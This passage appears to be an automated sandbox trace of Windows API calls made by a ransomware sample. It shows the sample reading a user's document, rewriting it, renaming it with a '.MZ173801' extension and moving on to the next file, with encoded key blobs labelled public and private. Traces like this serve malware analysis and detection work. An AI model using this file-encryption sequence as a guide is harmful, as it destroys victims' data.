2417 [0171.199] GetCurrentThreadId () returned 0xab4 [0171.199] GetCurrentThreadId () returned 0xab4 [0171.199] GetCurrentThreadId () returned 0xab4 [0171.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0171.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0171.199] GetCurrentThreadId () returned 0xab4 [0171.199] GetCurrentThreadId () returned 0xab4 [0171.199] GetCurrentThreadId () returned 0xab4 [0171.199] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\Bim9Uz1pL.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\bim9uz1pl.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0171.200] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0171.200] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0171.200] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x7725 [0171.200] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0171.200] ReadFile (in: hFile=0x27c, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0x7725, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0x7725, lpOverlapped=0x0) returned 1 [0171.201] CloseHandle (hObject=0x27c) returned 1 [0171.201] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\Bim9Uz1pL.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\bim9uz1pl.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0171.203] WriteFile (in: hFile=0x27c, lpBuffer=0x24d0e00*, nNumberOfBytesToWrite=0x7725, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d0e00*, lpNumberOfBytesWritten=0x19f48c*=0x7725, lpOverlapped=0x0) returned 1 [0171.204] CloseHandle (hObject=0x27c) returned 1 [0171.204] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\Bim9Uz1pL.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\bim9uz1pl.rtf"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\Bim9Uz1pL.rtf.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\bim9uz1pl.rtf.mz173801")) returned 1 [0171.205] GetCurrentThreadId () returned 0xab4 [0171.205] GetCurrentThreadId () returned 0xab4 [0171.205] GetCurrentThreadId () returned 0xab4 [0171.205] GetCurrentThreadId () returned 0xab4 [0171.205] GetCurrentThreadId () returned 0xab4 [0171.205] GetCurrentThreadId () returned 0xab4 [0171.205] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x609aa000, ftCreationTime.dwHighDateTime=0x1d5eb8d, ftLastAccessTime.dwLowDateTime=0xf3d569a0, ftLastAccessTime.dwHighDateTime=0x1d5e9c0, ftLastWriteTime.dwLowDateTime=0xf3d569a0, ftLastWriteTime.dwHighDateTime=0x1d5e9c0, nFileSizeHigh=0x0, nFileSizeLow=0x2d1a, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="e ZQq3U39G_rOP6ie.xlsx", cAlternateFileName="EZQQ3U~1.XLS")) returned 1 [0171.206] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0171.206] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0171.206] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\e ZQq3U39G_rOP6ie.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\e zqq3u39g_rop6ie.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x609aa000, ftCreationTime.dwHighDateTime=0x1d5eb8d, ftLastAccessTime.dwLowDateTime=0xf3d569a0, ftLastAccessTime.dwHighDateTime=0x1d5e9c0, ftLastWriteTime.dwLowDateTime=0xf3d569a0, ftLastWriteTime.dwHighDateTime=0x1d5e9c0, nFileSizeHigh=0x0, nFileSizeLow=0x2d1a)) returned 1 [0171.206] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\e ZQq3U39G_rOP6ie.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\e zqq3u39g_rop6ie.xlsx")) returned 0x20 [0171.206] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\e ZQq3U39G_rOP6ie.xlsx", dwFileAttributes=0x80) returned 1 [0171.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0171.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0171.209] GetCurrentThreadId () returned 0xab4 [0171.209] GetCurrentThreadId () returned 0xab4 [0171.209] GetCurrentThreadId () returned 0xab4 [0171.210] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0171.210] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0171.210] GetCurrentThreadId () returned 0xab4 [0171.210] GetCurrentThreadId () returned 0xab4 [0171.210] GetCurrentThreadId () returned 0xab4 [0171.210] CreateFileW 